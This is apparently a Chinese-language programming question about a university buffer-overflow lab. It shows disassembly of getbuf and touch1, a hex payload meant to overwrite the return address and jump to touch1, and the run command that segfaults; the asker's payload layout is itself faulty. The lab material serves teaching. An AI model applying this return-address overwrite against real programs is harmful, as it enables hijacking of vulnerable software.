我有一个程序(ctarget
),它将gets()
函数用于缓冲区。我需要溢出缓冲区并调用另一个程序。从汇编代码(我没有源代码)我可以看到堆栈分配的大小(0x38):
000000000040194a <getbuf>:
40194a: 48 83 ec 38 sub $0x38,%rsp
40194e: 48 89 e7 mov %rsp,%rdi
401951: e8 8a 02 00 00 callq 401be0 <Gets>
401956: b8 01 00 00 00 mov $0x1,%eax
40195b: 48 83 c4 38 add $0x38,%rsp
40195f: c3 retq
我有另一个程序(hex2raw
)读取文本文件并将十六进制字符转换为原始二进制数据。所以我在exploit1.txt
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00
/* at this point there is no seg fault */
00 00 00 00 00 00 00 00 /* 8 byte old rbp */
60 19 40 00 00 00 00 00 /* 8 bytes address */
前导零填充缓冲区。我已经在程序没有出错的地方发表了评论。我已经添加了8个字节来填充堆栈上的old %rbp
位置。最后,我以小端顺序将所需函数的地址添加到(应该是什么)返回空间中。
使用hex2raw
程序,我可以使用以下命令执行程序:./hex2raw < exploit1.txt | ./ctarget
当我运行上述内容时,我遇到了一个段错误。
以下是我尝试调用的函数的程序集:
0000000000401960 <touch1>:
401960: 48 83 ec 08 sub $0x8,%rsp
401964: c7 05 ae 3b 20 00 01 movl $0x1,0x203bae(%rip) # 60551c <vlevel>
40196b: 00 00 00
40196e: bf 6a 32 40 00 mov $0x40326a,%edi
401973: e8 68 f3 ff ff callq 400ce0 <puts@plt>
401978: bf 01 00 00 00 mov $0x1,%edi
40197d: e8 b4 04 00 00 callq 401e36 <validate>
401982: bf 00 00 00 00 mov $0x0,%edi
401987: e8 e4 f4 ff ff callq 400e70 <exit@plt>
我有什么不对?
如果有帮助,我会给出getbuf()
和touch1()
函数:
4 int getbuf() {
6 char buf[BUFFER_SIZE];
7 Gets(buf);
8 return 1;
9 }
void touch1() {
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}